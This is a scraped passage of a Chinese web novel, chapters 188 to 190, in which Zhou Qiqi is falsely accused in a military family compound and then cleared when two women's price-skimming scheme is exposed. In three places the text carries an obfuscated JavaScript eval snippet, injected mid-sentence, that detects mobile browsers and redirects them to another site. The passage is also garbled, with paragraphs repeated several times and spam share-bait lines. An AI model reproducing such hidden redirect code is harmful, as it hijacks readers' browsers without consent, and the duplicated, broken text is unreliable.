,正好遇见沈淮川结束休假,出门上班。 他刚走到院门口,就打了老大一个喷嚏。 “沈团长这是怎么了? 邓翠香一脸诧异,“他身体素质不是一向最好了吗? 昨晚,周柒柒和沈淮川该做的都做了,从头发丝到脚指头都亲遍了,可沈淮川偏心疼她身上还肿着,硬是咬着牙没进行到最后一步。 冷水澡洗了一遍又一遍。 这会儿**翠香问起来,周柒柒脸“腾地一下就红了。 “没事,可能是.天气凉了。 说着便赶紧转移了话题。 “翠香姐,你咋一大早过来了,有啥事吗? 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“工作态度敷衍塞责”、“责任心严重缺失”、“造成不良影响”,末尾盖着后勤处和卫生部两个鲜红的圆戳子,是两家合着发的通报。 这下人群里更热闹了。 ““哎哟喂,前阵子我牙疼找她瞧,那脸拉得老长,问一句答半句的,这下好了吧,通报批评!” 穿碎花袄子的军嫂往地上啐了口唾沫,声音敞亮得生怕别人听不见。 “就是说呢,刚来就折腾着要归置东西,后来又忙着结婚,结完婚也不安生坐诊,整天倒饬那几件新衣裳,穷显摆啥呀” 梳着齐耳短发的女人往地上啐了口唾沫。 “这种人也配当医生?简直是拿咱们军属的命不当回事!” 议论声正嗡嗡响着,人群后头忽然起了阵骚动,林瑶和许枣俩人脸白得跟纸似的,挤着人缝钻了进来。 众人正议论纷纷呢,就见林瑶和许枣白着脸出现在人群里。 俩人一早听说处理结果要贴出来,刚穿上鞋就往这儿跑,哪成想已经围了这么多瞧热闹的。 最让林瑶心里发慌的是,这通报上的话,简直一点儿情面都没留! 她脸上烧得厉害,拉着许枣的胳膊就想往外溜,偏生刚才说牙疼的军嫂眼尖,在人堆里一眼瞅见了她,手一抬就喊。 “快看!那不是林瑶嘛!” 这话一出,所有目光“唰”地全扫了过来,跟无数根细针扎得林瑶浑身不自在,脸上烫得能烙饼,恨不能找个地缝钻进去。 这帮军嫂还故意往中间凑了凑,把她俩围在里 头想走都挪不开步。 俩人正又气又急眼角余光忽然瞥见不远处说话的周柒柒、朱莹莹和邓翠香。 跟她们这狼狈样比起来 林瑶听着周围没遮没拦的议论再看看那边的情形眼里头瞬间冒了火。 但她又没什么法子只能使劲把指甲往掌心掐掐出几道红印子。 就在这节骨眼上人群外头突然炸响一声尖利的哭嚎还夹杂着骂骂咧咧。 “周柒柒!你个说话不算数的小蹄子!给我滚出来!” 这一声瞬间吸引了所有人的注意力。 就见邱春芳叉着腰站在那儿她身后跟着一脸阴沉、眼神闪烁的李红娟。 邱春芳一眼就瞧见了站在大字报旁边的周柒柒跟见了仇人似的扑过去手指头都快戳到周柒柒鼻子上了。 “周柒柒你个黑心烂肺的!你答应过不说出去的!咋这么不要脸!” 邱春芳十分激动吐沫星子乱飞。 “我刚去王大嫂家搬花她黑着脸找我要说法!准是你捅出去的!收了我的钱转头就把我卖了你不得好死啊!” 人群里“嗡”地一下炸开了锅。 又是王大嫂又是钱的还说啥出卖这唱的哪出戏? 众人八卦的目光瞬间从林瑶的大字报转移到了周柒柒和邱春芳的身上。 周柒柒眉头紧锁听邱春芳这三言两语心里已经大致明白了。 她眼神一利沉声道。 “邱春芳嘴巴干净点!少在这儿血口喷人!你那点勾当自己心里清楚跟我扯啥关系?” 李红娟这才慢悠悠走过来没像邱春芳那样咋咋呼呼抱着胳膊站在一旁脸上挂着假惺惺的惋惜还带着点看穿啥的嘲讽。 她声音不高不低刚好能让周围人听清。 “啧啧周柒柒这就是你的不是了收了钱就得守信用。你威胁春芳拿了钱嘴上答应得好好的转头就去王大嫂那儿编排我和春芳。” “你做人啊也太不地道了。知道你男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15931217|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人是团长又是咱们军区的战斗英雄但你也不能仗势欺人断了我们这些普通军属的活路啊!” 这番话阴阳怪气的,明里暗里把脏水往周柒柒身上泼。 既把她和邱春芳坑王大嫂的事说成是周柒柒造谣,又暗戳戳地提沈淮川的身份,暗示周柒柒仗势欺人。 “你胡说八道!” 朱莹莹气得脸都红了,她腿还没完全好利索,**翠香扶着,指着李红娟喊道。 “柒柒啥时候收过你们的钱?明明是你们俩合伙骗王嫂子!柒柒就只是警告了邱春芳几句!” 邓翠香也怒道,“李红娟,你少在这里放屁你!你自己心黑,还拉柒柒下水?” 场面顿时乱成一锅粥,邱春芳的哭嚎、李红娟的指控、朱莹莹和邓翠香的反驳混在一块儿。 周围围观的军嫂们更兴奋了,议论声嗡嗡响,看周柒柒的眼神也带上了打量和怀疑。 这时候,一个带着幸灾乐祸,又透着报复快感的尖利女声插了进来,声音不大,却盖过了不少嘈杂。 “哎呦,这事儿啊我好像知道点内情呢!” 大伙顺着声音望去,说话的正是刚被通报批评、脸铁青的林瑶! 她扒开人群走到邱春芳和李红娟旁边,眼睛死死盯着周柒柒和莹莹,嘴角勾出一抹恶毒的笑。 “那天在卫生所,我可是亲眼瞧见的!” 林瑶故意拔高了嗓门,确保所有人都能听见。 “朱莹莹摔伤了腿来包扎,是周柒柒陪着来的,当时啊,邱嫂子可是好心好意地替她掏了钱,替她们垫付了医药费呢!我记得清清楚楚,两块五毛钱呢!邱嫂子,是不是有这回事?” 林瑶的这番话,立刻让众人炸开了锅! “对对对!有这回事!” 邱春芳先是一愣,然后像是抓住了救命稻草,立刻顺着林瑶的话尖叫起来。 “就是我给的钱!周柒柒,你摸着良心说说,那天在卫生所,就是我掏的钱,我帮了你们,你们就这么对我?” 她一边喊一边抹着不存在的眼泪,胸脯剧烈起伏着,那模样倒像是受了天大的委屈。 第188章 真相 广场上的空气十分焦灼。 邱春芳哭得呼天抢地,李红娟在一旁指着鼻子数落,林瑶还时不时帮腔递话,这几人的都把周柒柒当敌人了。 周围围观的军嫂们,眼神里全是探究和怀疑,嗡嗡的议论声就没断过,你一言我一语的。 周柒柒来这军属区三个月,就没安生过,在军嫂们眼里,她本就是个能惹事儿的主儿—— 又是张罗着盖厕所,又是弄洗澡间,上个月看电影,还让邱春芳她们几个掉进粪坑,出了好大个丑。 不久前,她还跟周淑华主任闹了别扭,愣是把周淑华干了两年的妇女主任给挤下来了。 大伙儿知道这下有热闹看,更是眼睛都瞪圆了。 周柒柒挤进人群中间,深吸一口气,压下心头的怒火。 她没瞧李红娟和林瑶那俩得意洋洋的嘴脸,眼神跟刀子似的,直戳戳看向还在地上撒泼的邱春芳,嗓门清脆,像是百灵鸟一样。 “邱春芳!你嚎啥!你给钱不是该的?要不是你家那个**手毛脚、眼里没活儿的赵耀祖,突然冲到操场上去,莹莹为了不撞着他,硬生生把车头往旁边拐,她能摔那么狠?能擦破腿?这医药费,本就该你当妈的赔!” 她话刚落,两个额头上冒着汗的小男孩,从她身后钻了出来,争先恐后举着手嚷嚷。 “就是!就是这样的!” “我也看见了!我当时跟向阳哥坐在三轮车斗里,看得真真儿的!” “赵耀祖?” 先前抱怨林瑶看牙态度差的那个穿碎花袄的军嫂,看热闹不嫌事大,立马接了话。 “哎呦,我就说嘛,那孩子!真是一点家教没有!整天横冲直撞,跟个小炮仗似的!上次还把我晾在门口太阳地儿的床单给扯地上了!” “对对对!” 旁边抱着孩子的军嫂也忍不住搭腔, “我家孩子上次被他滚铁环撞倒,嘴角都流血了,他倒坐在地上撒泼,说自己铁环被撞歪了,说他两句,邱嫂子还护犊子,说小孩子不懂事!这哪是不懂事?” “那赵耀祖就是个熊孩子!” 又一个军嫂愤愤地帮腔, “邱春芳,你家耀祖惹祸也不是一回两回了,你赔钱是该的,还有脸在这儿嚎?” “周柒柒说得对!就该你赔! “赵耀祖那孩子,真得好好管管了! 军嫂们七嘴八舌,矛头一下子就从周柒柒身上,转到了邱春芳和她那个爱惹事的儿子身上。 那些平日里攒下的不满和火气,这会儿总算有了个宣泄的地儿。 邱春芳的脸一阵红一阵白,当众被数落儿子的不是,比直接骂她还让她难受。 她彻底急了,也顾不上哭了,尖着嗓子反驳。 “放屁!你们少在这儿血口喷人!我家耀祖好着呢!聪明着呢!是你们家孩子自己不长眼! 邓翠香和朱莹莹都没想到,这风向一下子就变了。 有些意外地看向周柒柒。 刚才邓翠香撒泼的时候,她一直没说话,不是因为怂了,而是一直在冲着在广场边上玩着的小萝卜头们使眼色。 这些都是姜向阳手底下的“兵,趁着人不注意的时候,她专门让这些小萝卜头去把那天操场上的小孩叫过来。 这会儿大部分都去上学了,只有两个还没到年龄的出来作证,不过也足够了。 邱春芳把赵耀祖惯得不像样,早就是全大院最招人嫌的熊孩子了。 比起周柒柒的八卦,大家更烦赵耀祖。 邱春芳正跟大伙儿吵得不可开交,可一点用没有,更多人加入了数落赵耀祖的行列。 李红娟一看,邱春芳这个蠢货又被带偏了,心里暗骂一声“废物,赶紧上前,再次把话题强行拽了回来。 她扯了扯邱春芳。 “春芳,耀祖的事儿回头再说,现在说的是周柒柒收钱的事儿! 说着便是她转向人群,脸上依旧是那副假惺惺的惋惜样儿。 “各位嫂子,你们评评理,不管咋说,春芳都好心给了周柒柒一笔钱,周柒柒亲口答应不乱嚼舌根,结果呢?转头就捅到王大嫂那里!这叫啥行为?这叫背信弃义!这叫仗势欺人! 她说着说着,越发痛心疾首。 “她周柒柒,仗着沈团长位高权重,就这么明着欺负咱们普通军属,收了钱还反咬一口,这还有天理吗?这军属区,难道就她一个人说了算? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15931218|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李红娟这番话极其有煽动性,再次把“仗势欺人、“背信弃义的帽子牢牢 扣在周柒柒头上。 一些不清楚内情的军嫂看向周柒柒的眼神又变得复杂起来。 之前军嫂们的事儿都是周主任说了算现在周主任都被周柒柒给撸下来了. 就在这时人群外传来一个中气十足的声音“都给我让开!” 众人循声望去只见胡春晓脸色铁青她身后还跟着一脸焦急的王大嫂。 “邱春芳!李红娟!你们两个怎么好意思在这儿倒打一耙污蔑周柒柒?” 她大小也是物资局的一个小领导自带着点威严这一嗓子把所有人镇住了。 邱春芳和李红娟都没想到她会跑出来两人脸上的假笑瞬间僵住。 胡春晓身后跟着的王大嫂喘着粗气大声说道。 “这件事儿完全和周柒柒没关系你们别冤枉好人了!” 这突然起来的变化让众位军嫂都有些摸不着头脑尤其是刚才那个牙疼的军嫂她冒出头问道。 “不是你们给我们都弄糊涂了 胡春晓朝着王大嫂努了努下巴“王大嫂你来说说!” 王大嫂气都还没喘匀呢就急急把事情说了。 她家里卖花草大家伙都是知道的也都知道一开始是外人卖后来换成了邱春芳和李红娟。 但是大家不知道的是。 “这生意自从交给她俩之后卖的是一天比一天差把我和我婆婆急坏了但是她俩却一点也不急今天一大早才知道.” 王大嫂性子软说话声音也小半天也说不清楚胡春晓听得直着急往前迈了一步声音清亮又沉稳。 “我姐姐在**工作上礼拜五正好在这俩人手里买了三盆吊兰放办公室一盆一块钱可不便宜钱给了她们也不说怎么养就让一天三顿多浇水结果没两天叶子就给黄了蔫了!我姐心疼钱又觉得她俩眼熟就打电话问我是不是咱们军属区的!” “我想着王大嫂一向厚道应该不至于干这事儿所以才找她问了问这才知道是这俩人干的好事!” 她顿了顿锐利的目光扫向邱春芳和李红娟。 “她们在外头卖一块钱给王大嫂报的价钱却是七毛钱!” 第189章 这事儿没完 胡春晓这话一出口,跟扔了颗**似的,人群里“嗡地就炸开了锅。 大伙儿你一言我一语。 “一块钱?七**报账?这差价吃得也太狠了! “太不要脸了!自己干了这种恶心事,居然还敢来质问别人,哪儿来的脸啊! 窃窃私语的声音越来越大,各种眼神跟小刀子似的,“嗖嗖往邱春芳和李红娟身上扎。 邱春芳急得直跳脚,哭爹喊娘似的叫。 “胡春晓和周柒柒是一伙的!她们总混在一起!王大嫂,你别听她瞎掰!根本不是这样的 这时候,又有个军嫂从人群里站出来。 “我能证明她说的是真的!我上礼拜天去市里,亲眼见她俩摆摊,亲耳听见她们跟人说吊兰一块钱一盆!好些人嫌贵,都没买! 这个嫂子是上礼拜刚到军属区的,跟周柒柒她们压根没来往。 她这时候站出来说话,那可真是铁证如山了。 邱春芳和李红娟的脸色瞬间惨白如纸。 “你们两个丧良心的!我打死你们! 一声凄厉的哭喊声从人群外传来。 就见王婆婆拄着拐杖,跌跌撞撞地冲了进来。 老太太气得浑身发抖,举起手里的拐杖,不管不顾就朝邱春芳和李红娟身上招呼过去。 “哎哟! 邱春芳吓得魂飞魄散,尖叫一声,也顾不上撒泼了,抱头就往旁边躲。 李红娟反应更快,狼狈地往后一缩,险险避开,但拐杖尖还是擦着她的胳膊划过,火辣辣地疼。 “王婆婆!您消消气! 旁边几位年长的军嫂赶紧冲上来,七手八脚地包住激动得浑身发抖的老太太。 “别拦我!让我打死这两个没良心的白眼狼! 王婆婆老泪纵横,挣扎着还要往前扑。 “我老婆子瞎了眼!信了你们的鬼话!把好好的生意交给你们!你们就这么祸害!你们的心肝是让狗吃了啊! 眼看着老人家这模样,所有围观的人都把目光像钉子似的,钉在邱春芳和李红娟身上,可劲儿得骂了起来。 “怪不得前两天邱春芳家飘肉香呢!合着是昧着良心赚的黑心钱! “呸!真不要 脸!” “这俩货真不是东西!” 唾骂声、指责声如同汹涌的浪潮,将邱春芳和李红娟彻底淹没。 她们缩着脖子,脸上红一阵白一阵的。 邱春芳没了辙,索性腿一软,“噗通”一声瘫坐在地上,捂着脸嚎啕大哭。 李红娟则是僵在那儿,身子微微发抖,眼神空落落的。 人群边上,林瑶和许枣脸色也难看,瞅着两人这惨样,心里又惊又怕,生怕这火燎到自个儿身上。 可那个牙疼的军嫂眼尖,一眼就瞅见了她们,伸手指着。 “还有这俩人呢!怕是觉得通报批评还不够,还敢出来颠倒是非!” 她本就是个混不吝的,眼皮一翻。 “这事儿没完!我这就去林处长那儿举报去!” 说着,径直就往军区办公区走。 这话可给了王婆婆提醒,她拽着邱春芳和李红娟的胳膊就走。 “我们也去!去举报!这事儿没完!周主任不在了,咱们就去找雷政委举报去!” 老太太刚才出来的时候,还拄着拐杖,步履蹒跚的,这会儿却是有一把子力气,拽着两人的胳膊,拖着她们就往前走。 旁边不少看热闹的见状,赶紧去帮忙。 刚才还热闹的广场上立马清冷了不少。 周柒柒看着众人离开的背影,哑然失笑道。 “这小老太太,不是说身体不好吗?啥都让王大嫂给伺候着,咋这么有劲儿?” 邓翠香挑了挑眉。 “好不好的,还不是老太太一个念头的事儿” 朱莹莹被她们逗得捂嘴直乐。 相比于她们的轻松,许枣则是一脸的菜色。 “嫂子,咋办?她们要举报你!会不会罚钱啊?” 这大秋天的,林瑶也是一脑门的汗,但是她比许枣有主意,强撑着说道。 “怕啥?咱们找周主任去!她能给咱们撑腰!” 许枣忙不迭点头。 “对对对,咱赶紧走!提前找周主任去!” 说着两人便是手挽手朝着周淑华家走了过去。 不过路过周柒柒的时候,林瑶却是没忘咬牙切齿地丢下一句。 “哼!周柒柒,我告诉你,这事 儿没完!” 周柒柒翻了个白眼。 “不是,别人举报你,跟我有啥关系啊?你疯狗吗?乱咬人!” 邱春芳和李红娟这次是真踢到铁板了。 王婆婆那真不是个省油的灯,一把年纪了,到了雷政委哪儿,又是哭又是闹的,鼻涕眼泪直往雷政委衣服上蹭。 雷政委做事雷厉风行,立马派了人去调查,发现真是那么回事儿。 直接就把两人的男人叫过来了,让他们暂停工作,先把自家娘们的问题整明白了。 最后两人一人写了一封检讨,各自赔了王婆婆三十块钱,才算了事。 三十块钱不算少,但相比于检讨来说,都不算什么了。 有了这个检讨,廖处长和姜营长这两年都别想晋升,年底的奖金也算是泡汤了。 两个男人都快气疯了,各自回家大吵一架,都要把两个女人赶回老家去。 邱春芳当晚就气鼓鼓的走了,顺便把赵耀祖也给带走了,把四个萌全都给留下了。 这是故意气赵毅呢。 李红娟那边,廖处长更绝情,直接要和李红娟离婚,但是没想到,李红娟这个时候说自己怀孕了,也就暂时作罢。 只是廖处长还是觉得太丢人了,让李红娟自己先回娘家住一段去。 至于林瑶,还真跟许枣那乌鸦嘴说的一样,罚了一个月工资,可把许家人心疼坏了,没少骂周柒柒。 这事儿闹的整个军属区沸沸扬扬的。 过了好几天才平息,周柒柒一直忙着工作上的事儿,倒也没怎么在意。 她承包的生产线一切准备完毕,就要准备生产第一批产品了。 但是她不理会,王嫂子和王婆婆却是主动找上门了。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 儿没完!” 周柒柒翻了个白眼。 “不是别人举报你跟我有啥关系啊?你疯狗吗?乱咬人!” 邱春芳和李红娟这次是真踢到铁板了。 王婆婆那真不是个省油的灯一把年纪了到了雷政委哪儿又是哭又是闹的鼻涕眼泪直往雷政委衣服上蹭。 雷政委做事雷厉风行立马派了人去调查发现真是那么回事儿。 直接就把两人的男人叫过来了让他们暂停工作先把自家娘们的问题整明白了。 最后两人一人写了一封检讨各自赔了王婆婆三十块钱才算了事。 三十块钱不算少但相比于检讨来说都不算什么了。 有了这个检讨廖处长和姜营长这两年都别想晋升年底的奖金也算是泡汤了。 两个男人都快气疯了各自回家大吵一架都要把两个女人赶回老家去。 邱春芳当晚就气鼓鼓的走了顺便把赵耀祖也给带走了把四个萌全都给留下了。 这是故意气赵毅呢。 李红娟那边廖处长更绝情直接要和李红娟离婚但是没想到李红娟这个时候说自己怀孕了也就暂时作罢。 只是廖处长还是觉得太丢人了让李红娟自己先回娘家住一段去。 至于林瑶还真跟许枣那乌鸦嘴说的一样罚了一个月工资可把许家人心疼坏了没少骂周柒柒。 这事儿闹的整个军属区沸沸扬扬的。 过了好几天才平息周柒柒一直忙着工作上的事儿倒也没怎么在意。 她承包的生产线一切准备完毕就要准备生产第一批产品了。 但是她不理会 听说看这本书的人都是很幸运的,分享后你的运气会更棒 儿没完!” 周柒柒翻了个白眼。 “不是,别人举报你,跟我有啥关系啊?你疯狗吗?乱咬人!” 邱春芳和李红娟这次是真踢到铁板了。 王婆婆那真不是个省油的灯,一把年纪了,到了雷政委哪儿,又是哭又是闹的,鼻涕眼泪直往雷政委衣服上蹭。 雷政委做事雷厉风行,立马派了人去调查,发现真是那么回事儿。 直接就把两人的男人叫过来了,让他们暂停工作,先把自家娘们的问题整明白了。 最后两人一人写了一封检讨,各自赔了王婆婆三十块钱,才算了事。 三十块钱不算少,但相比于检讨来说,都不算什么了。 有了这个检讨,廖处长和姜营长这两年都别想晋升,年底的奖金也算是泡汤了。 两个男人都快气疯了,各自回家大吵一架,都要把两个女人赶回老家去。 邱春芳当晚就气鼓鼓的走了,顺便把赵耀祖也给带走了,把四个萌全都给留下了。 这是故意气赵毅呢。 李红娟那边,廖处长更绝情,直接要和李红娟离婚,但是没想到,李红娟这个时候说自己怀孕了,也就暂时作罢。 只是廖处长还是觉得太丢人了,让李红娟自己先回娘家住一段去。 至于林瑶,还真跟许枣那乌鸦嘴说的一样,罚了一个月工资,可把许家人心疼坏了,没少骂周柒柒。 这事儿闹的整个军属区沸沸扬扬的。 过了好几天才平息,周柒柒一直忙着工作上的事儿,倒也没怎么在意。 她承包的生产线一切准备完毕,就要准备生产第一批产品了。 但是她不理会,王嫂子和王婆婆却是主动找上门了。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 儿没完! 周柒柒翻了个白眼。 “不是,别人举报你,跟我有啥关系啊?你疯狗吗?乱咬人! 邱春芳和李红娟这次是真踢到铁板了。 王婆婆那真不是个省油的灯,一把年纪了,到了雷政委哪儿,又是哭又是闹的,鼻涕眼泪直往雷政委衣服上蹭。 雷政委做事雷厉风行,立马派了人去调查,发现真是那么回事儿。 直接就把两人的男人叫过来了,让他们暂停工作,先把自家娘们的问题整明白了。 最后两人一人写了一封检讨,各自赔了王婆婆三十块钱,才算了事。 三十块钱不算少,但相比于检讨来说,都不算什么了。 有了这个检讨,廖处长和姜营长这两年都别想晋升,年底的奖金也算是泡汤了。 两个男人都快气疯了,各自回家大吵一架,都要把两个女人赶回老家去。 邱春芳当晚就气鼓鼓的走了,顺便把赵耀祖也给带走了,把四个萌全都给留下了。 这是故意气赵毅呢。 李红娟那边,廖处长更绝情,直接要和李红娟离婚,但是没想到,李红娟这个时候说自己怀孕了,也就暂时作罢。 只是廖处长还是觉得太丢人了,让李红娟自己先回娘家住一段去。 至于林瑶,还真跟许枣那乌鸦嘴说的一样,罚了一个月工资,可把许家人心疼坏了,没少骂周柒柒。 这事儿闹的整个军属区沸沸扬扬的。 过了好几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15931219|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天才平息,周柒柒一直忙着工作上的事儿,倒也没怎么在意。 她承包的生产线一切准备完毕,就要准备生产第一批产品了。 但是她不理会,王嫂子和王婆婆却是主动找上门了。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 儿没完!” 周柒柒翻了个白眼。 “不是,别人举报你,跟我有啥关系啊?你疯狗吗?乱咬人!” 邱春芳和李红娟这次是真踢到铁板了。 王婆婆那真不是个省油的灯,一把年纪了,到了雷政委哪儿,又是哭又是闹的,鼻涕眼泪直往雷政委衣服上蹭。 雷政委做事雷厉风行,立马派了人去调查,发现真是那么回事儿。 直接就把两人的男人叫过来了,让他们暂停工作,先把自家娘们的问题整明白了。 最后两人一人写了一封检讨,各自赔了王婆婆三十块钱,才算了事。 三十块钱不算少,但相比于检讨来说,都不算什么了。 有了这个检讨,廖处长和姜营长这两年都别想晋升,年底的奖金也算是泡汤了。 两个男人都快气疯了,各自回家大吵一架,都要把两个女人赶回老家去。 邱春芳当晚就气鼓鼓的走了,顺便把赵耀祖也给带走了,把四个萌全都给留下了。 这是故意气赵毅呢。 李红娟那边,廖处长更绝情,直接要和李红娟离婚,但是没想到,李红娟这个时候说自己怀孕了,也就暂时作罢。 只是廖处长还是觉得太丢人了,让李红娟自己先回娘家住一段去。 至于林瑶,还真跟许枣那乌鸦嘴说的一样,罚了一个月工资,可把许家人心疼坏了,没少骂周柒柒。 这事儿闹的整个军属区沸沸扬扬的。 过了好几天才平息,周柒柒一直忙着工作上的事儿,倒也没怎么在意。 她承包的生产线一切准备完毕,就要准备生产第一批产品了。 但是她不理会,王嫂子和王婆婆却是主动找上门了。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 儿没完!” 周柒柒翻了个白眼。 “不是别人举报你跟我有啥关系啊?你疯狗吗?乱咬人!” 邱春芳和李红娟这次是真踢到铁板了。 王婆婆那真不是个省油的灯一把年纪了到了雷政委哪儿又是哭又是闹的鼻涕眼泪直往雷政委衣服上蹭。 雷政委做事雷厉风行立马派了人去调查发现真是那么回事儿。 直接就把两人的男人叫过来了让他们暂停工作先把自家娘们的问题整明白了。 最后两人一人写了一封检讨各自赔了王婆婆三十块钱才算了事。 三十块钱不算少但相比于检讨来说都不算什么了。 有了这个检讨廖处长和姜营长这两年都别想晋升年底的奖金也算是泡汤了。 两个男人都快气疯了 邱春芳当晚就气鼓鼓的走了顺便把赵耀祖也给带走了把四个萌全都给留下了。 这是故意气赵毅呢。 李红娟那边廖处长更绝情直接要和李红娟离婚但是没想到李红娟这个时候说自己怀孕了也就暂时作罢。 只是廖处长还是觉得太丢人了让李红娟自己先回娘家住一段去。 至于林瑶还真跟许枣那乌鸦嘴说的一样罚了一个月工资可把许家人心疼坏了没少骂周柒柒。 这事儿闹的整个军属区沸沸扬扬的。 过了好几天才平息周柒柒一直忙着工作上的事儿倒也没怎么在意。 她承包的生产线一切准备完毕就要准备生产第一批产品了。 但是她不理会王嫂子和王婆婆却是主动找上门了。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 儿没完! 周柒柒翻了个白眼。 “不是,别人举报你,跟我有啥关系啊?你疯狗吗?乱咬人! 邱春芳和李红娟这次是真踢到铁板了。 王婆婆那真不是个省油的灯,一把年纪了,到了雷政委哪儿,又是哭又是闹的,鼻涕眼泪直往雷政委衣服上蹭。 雷政委做事雷厉风行,立马派了人去调查,发现真是那么回事儿。 直接就把两人的男人叫过来了,让他们暂停工作,先把自家娘们的问题整明白了。 最后两人一人写了一封检讨,各自赔了王婆婆三十块钱,才算了事。 三十块钱不算少,但相比于检讨来说,都不算什么了。 有了这个检讨,廖处长和姜营长这两年都别想晋升,年底的奖金也算是泡汤了。 两个男人都快气疯了,各自回家大吵一架,都要把两个女人赶回老家去。 邱春芳当晚就气鼓鼓的走了,顺便把赵耀祖也给带走了,把四个萌全都给留下了。 这是故意气赵毅呢。 李红娟那边,廖处长更绝情,直接要和李红娟离婚,但是没想到,李红娟这个时候说自己怀孕了,也就暂时作罢。 只是廖处长还是觉得太丢人了,让李红娟自己先回娘家住一段去。 至于林瑶,还真跟许枣那乌鸦嘴说的一样,罚了一个月工资,可把许家人心疼坏了,没少骂周柒柒。 这事儿闹的整个军属区沸沸扬扬的。 过了好几天才平息,周柒柒一直忙着工作上的事儿,倒也没怎么在意。 她承包的生产线一切准备完毕,就要准备生产第一批产品了。 但是她不理会,王嫂子和王婆婆却是主动找上门了。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 第190章 真是造孽啊 周柒柒刚忙完生产线最后一批原料的验收,刚想回家歇一会儿。 刚走到自家院门口,脚步就顿住了—— 王家婆媳俩正跟两根木桩子似的,杵在那儿东张西望。 周柒柒心里“哼”了一声,脸上却漾开笑,声音脆生生的。 “哟,王婆婆,王大嫂,这可是稀客啊。” 她们为什么找山门,她心里门儿清的很,可她脸上半分不显,依旧客客气气地扬手开了院门,侧身让开道:“有事儿进来说?” “哎,哎,柒柒啊” 王大嫂嗫嚅着,被王婆婆在后面暗暗掐了一把胳膊,才鼓起勇气抬头,脸上的笑容有些尴尬,“是是有点事儿想麻烦你.” 周柒柒心里看不惯,但表面工夫却还是要做足的,给两人倒了水,又切了一盘苹果。 王婆婆不客气地坐在沙发的主位上,清了清嗓子,喉结上下滚了滚,端起长辈的架子开口。 “柒柒啊,你看.这邱春芳和李红娟那两个丧门星,算是彻底把我们家给坑苦了!我老婆子眼瞎,信错了人,唉!” 说完,她飞快地瞟了周柒柒一眼。 周柒柒这算是瞧出来了,这老太太是在拿乔呢! 她们这一趟过来,明明是来求人的,偏要端着架子,等着她先开口。 这样一来,王家既不算低头,反倒还占着上风,回头谈条件也能拿捏住赵大梅。 这老太太,真是个人精! 可周柒柒也不是软柿子。 她假装没瞧出其中的门道,眨巴着大眼睛,一脸懵懂地跟着点头,拍着大腿帮腔。 “就是!这俩人也太不是东西了!” 王婆婆心里“咯噔”一下,嘴角的笑僵了半截,重重叹了口气,伸手把王大嫂往前拽了拽,声音带着哭腔, “你是不知道,之前看大梅卖得好,能赚不少,我这媳妇花了好大一笔钱,从外头买了一大批幼苗……现在可倒好!” 她猛地一拍大腿,脸上是实实在在的肉痛和悔恨。 “那些幼苗都长起来了!盆盆罐罐占满了整个后院!浇水施肥伺候得跟祖宗似的,本钱都砸进去了!可压根就没卖出去几盆,眼瞅着花都要开败了,再卖不出去,这这得赔多少钱进去啊!” 说着说着,老太太眼眶都红了,那叫一个真情流露,就等周柒柒接话。 却没想到,不管老太太怎么哭诉,周柒柒都是油盐不进,一直坚持“捧哏。 “谁说不是呢! “嗨!你说这事儿闹的! 这可给老太太气得够呛,嘴角一直抽抽,周柒柒偏偏还火上浇油,把果盘往老太太跟前推。 “婆婆,你也别太生气了,吃苹果!这是大梅姐送过来的,说是自家老果树结的!可甜了!你尝尝! 老太太算是看出来了,这周柒柒就是故意的,气得她脑袋都冒烟了,可偏偏又没办法发作,只得掐了身边的媳妇王大嫂一把,让她来说。 王大嫂早就想说话了,只是来之前,王婆婆千叮咛万嘱咐,不许她说,才一直憋着。 不过王婆婆让她提赵大梅的事儿,她却没说,而是真心实意地鞠躬道了个歉。 “柒柒,之前的事儿,是我们做得不对,听信了别人的话,委屈了大梅妹子,也.也让你难做了,我给你赔个不是! 她抬起头,眼圈已经红了,双手在膝盖上蹭来蹭去。 周柒柒看着她这副实在模样,心里的硬气软了半截,刚要开口。 就见王婆婆“腾地站了起来,作势要弯腰:“就是就是,婆婆也给你赔个不是! 这人一把年纪了,这不是故意给自己上眼药吗? 周柒柒心里刚冒出的那点同情一下子就消失了,眼疾手快,虚扶了一把,语气平平淡淡的。 “王大嫂,婆婆,你们这是干什么?都过去的事儿了,过去也就过去了。 